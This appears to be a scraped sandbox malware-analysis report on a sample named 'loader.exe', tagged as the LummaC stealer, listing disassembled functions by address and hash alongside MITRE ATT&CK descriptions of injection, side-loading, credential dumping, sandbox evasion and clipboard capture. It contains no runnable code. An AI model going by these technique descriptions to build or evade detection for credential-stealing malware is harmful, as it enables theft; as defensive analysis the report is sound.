Opcode Fuzzy Hash: 57cdcfad62d8dcf5a54ed80bde65bd6b7db0f3481728dc9baa5a5fe50a26a015
Instruction Fuzzy Hash: 18B13872B143209BD7109B24DC4263BB3E2EFD5354F5A892EF8C597381E778D8018796

Function 0042CF60 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

", xrefs: 0042D248

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1db96fd4edcb4f5ef483c943680c140f54b21b7c01618858d0b822cc87b217d8
Instruction ID: 3c8ddbb5a4497eba4258620c61f30ed3f2e79d57b652312d84cfeaf09241064e
Opcode Fuzzy Hash: 1db96fd4edcb4f5ef483c943680c140f54b21b7c01618858d0b822cc87b217d8
Instruction Fuzzy Hash: 03D10472B083219FD714DE25E48076BB7EAAF84314F58852EE89987382D738DD05C7D6

Function 004291C4 Relevance: 1.6, Strings: 1, Instructions: 400COMMON

Download Yara Rule

Strings

YRTP, xrefs: 004295CD

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: YRTP
API String ID: 0-1304800334
Opcode ID: 37146779f974c5e4383577f1573f5a7964a2096c26cd72f15ec53405611c2017
Instruction ID: e0d70bf8a4c85a1cc3b2b9bcf48ea2e6ebec0f282fbbd6f7f7be71b33c563769
Opcode Fuzzy Hash: 37146779f974c5e4383577f1573f5a7964a2096c26cd72f15ec53405611c2017
Instruction Fuzzy Hash: 28C1F3B5A08351CBD704DF24A88126FB7E1AF96304F48487EE8C597382D739DD06CB9A

Function 0043C440 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

5|iL, xrefs: 0043C5C0

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 0eeac4bc6b849e691d6aea8eb7dc24639a941a928a1aae8f3fd6c918f8f4336b
Instruction ID: b307da7332e1aea47b869681b2aa0c624a19412ca3f0e91de31c18a0a06cb140
Opcode Fuzzy Hash: 0eeac4bc6b849e691d6aea8eb7dc24639a941a928a1aae8f3fd6c918f8f4336b
Instruction Fuzzy Hash: FD510A31A057109BD7149F2889C076BBBE1EBDA328F29E92ED494AB391D735DC0187C9

Function 0041BA2F Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

MC, xrefs: 0041D07E

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: MC
API String ID: 0-293102370
Opcode ID: 8238e09845d867c980d162dfaab0320e16ed7e9f624b8334ab8c67f105616e5f
Instruction ID: a25a417462b9c78435542dba646035a18039d8055a2ca9f65fddfbaa91818409
Opcode Fuzzy Hash: 8238e09845d867c980d162dfaab0320e16ed7e9f624b8334ab8c67f105616e5f
Instruction Fuzzy Hash: 5F51C2B45083428BD7309F25C8917ABB7E1EF96314F04892DE4D98B391EB784845DB56

Function 0041CF97 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

MC, xrefs: 0041D07E

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: MC
API String ID: 0-293102370
Opcode ID: d25f0197a41c43f8931ebce1b370a0e80337a0e0b67d1b6f44e6107bbb2b59b1
Instruction ID: 14ab7e0cd549b778cc042c348287a68b36094c33c3afb9c5d2be5201875a4a2e
Opcode Fuzzy Hash: d25f0197a41c43f8931ebce1b370a0e80337a0e0b67d1b6f44e6107bbb2b59b1
Instruction Fuzzy Hash: AA41C0B45083828BC730CF25C8A17ABBBE0EF96314F04896DE4D98B391E7784845DB96

Function 0041EA11 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

T_i, xrefs: 0041EA57

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: T_i
API String ID: 0-1235689341
Opcode ID: 6e765f3704368f8deea9af135ba808d526ca4bbf24db71a6e0838efec4914b64
Instruction ID: 378b5af8ae39c35a582840a91c257951ae35a79d03d3a946bc2fd5657e82b003
Opcode Fuzzy Hash: 6e765f3704368f8deea9af135ba808d526ca4bbf24db71a6e0838efec4914b64
Instruction Fuzzy Hash: 803168249487D14AE72A8B3A89957B37FD0AF23304F48499DD4D3CBA86C62CA047CB54

Function 00407E00 Relevance: .9, Instructions: 852COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04353af72748e7ac624a8d34be0c2309fa446edcbb238c0b96f17f33128a9477
Instruction ID: 694fab51773e91c51fbde4d2077d6e4800607ee9772c1e2aaea403a5b6f23483
Opcode Fuzzy Hash: 04353af72748e7ac624a8d34be0c2309fa446edcbb238c0b96f17f33128a9477
Instruction Fuzzy Hash: 5452C2315087128BC725DF18D94026BB3E1FFD4315F198A2ED8D6A7385DB39A852CB8A

Function 004405D0 Relevance: .7, Instructions: 713COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb0c690ada777e8c0e8d086eb475aae4cd715664ab3c5e4cc27ad5e3ab0d34d2
Instruction ID: efa07c97eb2f05d488149aebac8a5f3049800253d81770cb57b144f776f23d42
Opcode Fuzzy Hash: fb0c690ada777e8c0e8d086eb475aae4cd715664ab3c5e4cc27ad5e3ab0d34d2
Instruction Fuzzy Hash: 64221E36648351CFD308DF68D89122BBBE2EBCA314F1A897ED58587391D734E905CB86

Function 00440510 Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10112825edd7caaa223a5beedac1f2a692e90050a9ab64a9f6e138e487d5bad3
Instruction ID: 6d31f81a46ba80712efc3d210bc5e1e118f04b1fab1c6456a3b2380dff49e649
Opcode Fuzzy Hash: 10112825edd7caaa223a5beedac1f2a692e90050a9ab64a9f6e138e487d5bad3
Instruction Fuzzy Hash: 16121F3AA48351CFD304CF68E89062BBBE2EBCA314F1A887ED58587351D734D805CB86

Function 00439ED0 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afb0cea9134bcce1956427e6e8870436d1a24d38342c42d0cdd9289eed5eb6e
Instruction ID: 995b0fcad772d26c05e82f41b685f9e79218e23d97ad402db9a1a81d99e1c916
Opcode Fuzzy Hash: 4afb0cea9134bcce1956427e6e8870436d1a24d38342c42d0cdd9289eed5eb6e
Instruction Fuzzy Hash: 86514374A00214CBDF10CFA9D895BBF77B0FB89314F24512DE502AB280D7799912CBA9

Function 0040C7FD Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef4350ac2ee95b7f445e7d190223230116b7fc5834c6357326ff43fcbdeb8a41
Instruction ID: dc68298639863375d8a69b03068ed96139567a1060d4ea1d2010cc1b273e063b
Opcode Fuzzy Hash: ef4350ac2ee95b7f445e7d190223230116b7fc5834c6357326ff43fcbdeb8a41
Instruction Fuzzy Hash: 0651E0B640C311DAD314CF24C89162BB7F1FF96758F149A2DE4D66B6A1E3358601CB8A

Function 00401D70 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f262f90c2557e889d833367d2ba8a61f6b079325025ae374dc454892215b80e3
Instruction ID: 627a7781eaf0eebd24a0f5db20f5fa2b4623f7c8a7653c3bf1952db54e0ba335
Opcode Fuzzy Hash: f262f90c2557e889d833367d2ba8a61f6b079325025ae374dc454892215b80e3
Instruction Fuzzy Hash: CA41D475A042058BD724DE29C88092BB3E5AFC5354F05453EFC49A73E2EB39EC1187DA

Function 0043A3C0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3933966bded42226f60e2e4d826cdb4a60970daf650ea496250865d66223d6eb
Instruction ID: 984379aff65c77cb1c4e468844b7d0add845b8f60711f1ef9018c2d6cf5805a4
Opcode Fuzzy Hash: 3933966bded42226f60e2e4d826cdb4a60970daf650ea496250865d66223d6eb
Instruction Fuzzy Hash: E6412435A00210DBDB14CF69D894BAF77B4FF89314F24502DE442AB281C379A921CBAA

Function 0043A120 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1495b98e3c98b8edf385ea0a2526577a1a758f1338a2bf73e321b5511b5b7cf2
Instruction ID: e5b4877d518f213343407f8e37bd9d7f8fa9019b6a4d2af6567f8786c2d95e0b
Opcode Fuzzy Hash: 1495b98e3c98b8edf385ea0a2526577a1a758f1338a2bf73e321b5511b5b7cf2
Instruction Fuzzy Hash: 0931AC70A443006BEA109B15DC41B3BB799EF9931CF14693EFDC697392E236DC21826B

Function 0043C240 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec6b19b4bdfe03bf2a4821e20df348eaea1839ac3dde95f5b9d8b4e6d1a321d
Instruction ID: e998449b165f144de5819ca8393925d7848d1260226f80129637cd5bb292c332
Opcode Fuzzy Hash: dec6b19b4bdfe03bf2a4821e20df348eaea1839ac3dde95f5b9d8b4e6d1a321d
Instruction Fuzzy Hash: 36312731A053018BD3008F69C8C471BFBE5EBDA714F19DA2EE494AB390D77988068795

Function 00427CE1 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d671c34dbe3fd99df971de2804de5a1a4421a7843c82842a4f836c78a2f3d8c3
Instruction ID: 25bf4f862b4ab7b9aa1af6db7e5d7075d7b13907e5742f4b85e2bda7a904bef1
Opcode Fuzzy Hash: d671c34dbe3fd99df971de2804de5a1a4421a7843c82842a4f836c78a2f3d8c3
Instruction Fuzzy Hash: 8D217572B14520DBD72C8F29A89163F7252FFE5314FEE512EC9421B221D2358C028ACE

Function 00401F70 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab533a202631904a2b0ecbb8909b569798e35af81309a9dc177abd73a0c7ccdf
Instruction ID: b4028c2de3ebb1fc325833494fc10b9bfc5f5ad2caf2cbe185d6f7e2f31fd1a3
Opcode Fuzzy Hash: ab533a202631904a2b0ecbb8909b569798e35af81309a9dc177abd73a0c7ccdf
Instruction Fuzzy Hash: 9931AC316083029BD7149E19C980937B7E2EFC4358F15897EE849A73D1D739EC52CB4A

Function 0042C990 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5b5a928f14cd7a2b7e0d7031a48f4cd6eebc4ebc2a592346c34199ad68b5cae
Instruction ID: 1d356f24bc63c67b5ee5e58e9ab271e8410a07bff29cc1434979da066cce1f96
Opcode Fuzzy Hash: b5b5a928f14cd7a2b7e0d7031a48f4cd6eebc4ebc2a592346c34199ad68b5cae
Instruction Fuzzy Hash: BA01BCF1B0071147DB20EE65A4C0B3FB2A86F85708F48143EE84967342DBB9EC44C6E9

Function 00428F70 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 267d7e588891ca6a21b9fc59a631ab30fa1fab02eb2ad26210c16acf5da04592
Instruction ID: 5c5a70589de69a35e5971e882f09013b756b32b4fef578c958a218f1aba5ae1c
Opcode Fuzzy Hash: 267d7e588891ca6a21b9fc59a631ab30fa1fab02eb2ad26210c16acf5da04592
Instruction Fuzzy Hash: CF1190724183548BC3049F64DD9A31FBBE5FB85348F140A2DE1C09B281EBB895098B86

Function 00402D80 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c106320bcc7394ae56af663a472c6a2f4a5d0f240ce890532d660d90108f5822
Instruction ID: be29ae359cb874e0224cc408d0abf3d8363a1679f358c768933014b27f0718db
Opcode Fuzzy Hash: c106320bcc7394ae56af663a472c6a2f4a5d0f240ce890532d660d90108f5822
Instruction Fuzzy Hash: ABF0597E7052150BE310CEAAECC4A3BF7A5EBC6309B05003AE941E3380C4B1DC0282A8

Function 0042A7BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,C98CCBB1,00000000), ref: 0042A886

Strings

gw, xrefs: 0042A80D
t|, xrefs: 0042A81D

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: CopyFile
String ID: gw$t|
API String ID: 1304948518-641399299
Opcode ID: 50b114c5f0f823fd9c0c3f8a5d4b1d0637cd9055717e2b51aa9480df90ab9860
Instruction ID: 7dcbee20dc34693907193fc374d55090c6b8465b8f7e70e875d97ca907622016
Opcode Fuzzy Hash: 50b114c5f0f823fd9c0c3f8a5d4b1d0637cd9055717e2b51aa9480df90ab9860
Instruction Fuzzy Hash: 57118BB55183918FE3118F10C44468EBBE0AFD6708F184C9DF4C89B291E7388506CB97

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
loader.exe

Function 0026B18D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00259DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 0024BEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Function 00256CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00256FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 0025A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00256E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 0025B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00253B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 00259E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 0024CD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 0025BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON